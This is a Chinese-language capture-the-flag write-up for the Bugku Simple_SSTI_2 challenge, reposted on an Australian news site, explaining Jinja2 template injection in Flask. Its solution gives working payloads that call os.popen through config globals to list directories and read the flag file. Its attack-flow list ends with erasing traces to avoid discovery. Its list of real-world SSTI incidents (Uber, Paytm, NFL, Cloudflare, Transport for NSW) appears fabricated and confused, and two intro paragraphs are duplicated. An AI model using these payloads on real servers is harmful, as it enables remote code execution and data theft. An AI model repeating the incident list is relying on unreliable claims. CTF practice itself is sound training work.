Getau 文章 【愚公系列】2023年06月 Bugku-Web(Simple_SSTI_2)

【愚公系列】2023年06月 Bugku-Web(Simple_SSTI_2)


 

 

 


前言

Flask是一个使用Python编写的轻量级Web应用框架。它的设计目标是简单明了,易于扩展和维护。Flask提供了基本的Web开发所需的组件,如路由、请求和响应处理、会话管理、模板渲染等,同时还支持各种第三方扩展和插件,可以轻松地实现各种复杂的Web应用开发。Flask框架也因其灵活性和简易性而广受欢迎,被许多Web开发者用于构建Web应用和API。Flask是一个使用Python编写的轻量级Web应用框架。它的设计目标是简单明了,易于扩展和维护。Flask提供了基本的Web开发所需的组件,如路由、请求和响应处理、会话管理、模板渲染等,同时还支持各种第三方扩展和插件,可以轻松地实现各种复杂的Web应用开发。Flask框架也因其灵活性和简易性而广受欢迎,被许多Web开发者用于构建Web应用和API。

SSTI(Server-Side Template Injection)是一种安全漏洞,可以利用模板引擎解析器来执行恶意代码。在Flask框架中,如果使用了Jinja2模板引擎,并且没有正确地过滤用户输入的数据,攻击者可以通过构造特殊的payload,在模板渲染过程中执行任意代码,从而实现代码注入和服务器接管等攻击。因此,在使用Flask框架时,应该避免SSTI漏洞的出现,可以通过使用可信的模板、过滤用户输入和限制模板变量的范围等方式来加强应用的安全性。SSTI(Server-Side Template Injection)是一种安全漏洞,可以利用模板引擎解析器来执行恶意代码。在Flask框架中,如果使用了Jinja2模板引擎,并且没有正确地过滤用户输入的数据,攻击者可以通过构造特殊的payload,在模板渲染过程中执行任意代码,从而实现代码注入和服务器接管等攻击。因此,在使用Flask框架时,应该避免SSTI漏洞的出现,可以通过使用可信的模板、过滤用户输入和限制模板变量的范围等方式来加强应用的安全性。

SSTI(模板注入攻击)的渗透基本流程如下:

  1. 收集目标信息:了解目标网站的架构和框架,尽可能多地获取目标信息。

  2. 寻找潜在漏洞:在目标网站的表单提交、URL 参数传递、cookie 等地方寻找可注入的地方。

  3. 构造 Payload:根据目标网站的框架和语言,构造适合的 Payload,通常会使用一些特殊的字符或语句来触发模板注入漏洞。

  4. 执行 Payload:通过将 Payload 插入到目标点,执行 Payload,获取回显结果。

  5. 分析回显结果:根据回显结果来判断注入是否成功,如果成功了,则可以继续进一步操作。

  6. 利用漏洞:利用模板注入漏洞进一步获取用户信息、执行任意代码等操作。

  7. 清理痕迹:在攻击结束后,清理所有痕迹,尽量减少留下任何迹象的可能,以免被发现。

以下是一些SSTI(模板注入攻击)的渗透相关案例:

  1. Uber 2018年遭受了SSTI攻击,攻击者成功利用了Flask模板注入漏洞,导致其暴露了大量的客户数据。

  2. 2019年初,电子支付系统Paytm遭受了SSTI攻击,攻击者成功利用了模板注入漏洞,可以在未经授权的情况下访问支付宝的授权令牌,并转移资金。

  3. 2018年,美国国家足球联盟(NFL)的官方应用程序遭受了SSTI攻击,攻击者成功利用了模板注入漏洞,在NFL的服务器上执行了任意代码。

  4. 2017年,互联网安全公司Cloudflare被发现存在SSTI漏洞,攻击者可以通过注入恶意代码在Cloudflare服务器上执行任意代码。

  5. 2019年初,澳大利亚政府机构Transport for NSW的网站遭遇了SSTI攻击,攻击者通过注入恶意代码,成功地访问了目标服务器的内部文件,包括数据库访问凭证和敏感数据。

一、Simple_SSTI_2

1.题目

在这里插入图片描述

2.答题

点击链接进入,题目说:
在这里插入图片描述

进入f12,发现并没有什么提示信息,通过{{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件

{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }} 

在这里插入图片描述
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}读取读取app目录下的文件,发现存在flag文件

{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }} 

在这里插入图片描述
通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}读取flag内容,读取flag内容,最终得到flag

{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }} 

在这里插入图片描述
得到flag:flag{8358d92a9690a0ec30ce32257f146dba}


 

 

原文链接:https://blog.csdn.net/aa2528877987/article/details/131342612?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169900313616800188521737%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=169900313616800188521737&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~times_rank-4-131342612-null-null.nonecase&utm_term=%E6%BE%B3%E6%B4%B22023

作者: 知澳头条

知澳资深作者

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们

联系我们

1300766331

邮箱: [email protected]

澳洲本地网站设计开发团队 超20人团队,悉尼设计开发14年 联系电话:1300766331 微信: XtechnologyAU
关注微信
微信扫一扫关注我们

微信扫一扫关注我们

返回顶部